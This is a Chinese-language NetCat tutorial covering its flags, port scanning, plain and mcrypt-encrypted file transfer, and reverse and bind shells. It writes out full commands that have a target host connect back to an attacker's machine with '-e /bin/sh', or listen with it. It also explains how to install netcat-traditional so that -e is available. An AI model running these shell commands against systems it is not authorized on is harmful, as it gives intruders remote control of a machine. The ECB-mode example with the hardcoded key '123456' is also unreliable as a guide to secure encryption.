NetCat工具使用

简介

NetCat是一个通过TCP/UDP在网络中进行读写数据工具,被行内称为“瑞士军刀”,主要用于调试领域、传输领域以及黑客攻击领域。利用该工具可以将网络中一端的数据完整的发送至另一台主机终端显示或存储,常见的应用为文件传输、与好友即时通信、传输流媒体或者作为用来验证服务器的独立的客户端。

常用参数

  • -4 : 强制nc使用ipv4

  • -6 : 强制nc使用ipv6

  • -D : 使用socket的方式

  • -d : daemon(后台), 设置后台运行

  • -l : 开启监听模式

  • -n : 使用ip而不使用域名

  • -p : 使用本地主机的端口,默认是tcp协议的端口

  • -r : 任意指定本地及远程端口

  • --U : 使用Unix的socket

  • -u : 使用udp协议

  • -v : 详细输出

  • -z : 将输入输出关掉,即不进行交互,用于扫描时,注意在nmap的版本下没有这个参数

  • -w : 设置连接超时时间,单位秒

常用功能

1.端口扫描

扫描指定端口: nc -nvz 192.168.47.149 80

扫描指定范围端口: nc -nvz 192.168.47.149 80-90

2.文件传输

正向传输:客户端传送文件至服务端

服务端: nc -lp 4444 > result.txt

客户端: nc 192.168.47.134 4444 < result.txt

服务端按ctrl+c, 随后查看传送过来的result.txt文件

反向传输:服务端传送文件至客户端

服务端: nc -lp 4444 < result.txt

客户端: nc -n 192.168.47.134 > result.txt

在客户端查看传送过来的result.txt文件

3.加密传输文件

由于LINUX系统默认没有安装mcrypt库, 需先安装: apt-get install mcrypt

服务端: nc -lp 4444 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb -k 123456 > result.txt

客户端: mcrypt --flush -Fbq -a rijndael-256 -m ecb -k 123456 < result.txt | nc -nv 192.168.47.134 4444 -q 1

-k: 指定加密时所用到的密码, 若不指定, 输入回车时需要输入加密密码

正向/反向Shell

反向Shell

如下图所示, 目标主机反向连接攻击机的4444端口, -e选项将Bash Shell发送给攻击机, 若目标主机为windows, 需设置成-e cmd

先在攻击机开启监听4444端口: nc -lvp 4444

在目标主机反弹Shell: nc 192.168.47.134 4444 -e /bin/sh

再返回攻击机查看反弹回来的shell, 并输入ifconfig命令进行测试

正向Shell

先在目标主机创建监听, 并把一个bash shell绑定到4444端口

nc -lvp 4444 -e /bin/sh

在攻击机连接目标主机的4444端口,以此来接收反弹的shell, 并输入ifconfig命令测试

nc 192.168.47.151

关于nc无法使用-e参数

问题详情

由于很多Linux默认安装的是netcat-openbsd(老版本), 而NetCat老版本是无法使用-e参数的, 于是需要对其更新成netcat-traditional版本

解决方法

1.安装 netcat-traditional

apt-get -y install netcat-traditional

2.配置netcat版本, 随后选择版本为traditional的编号并按回车键

update-alternatives --config nc

最后更新于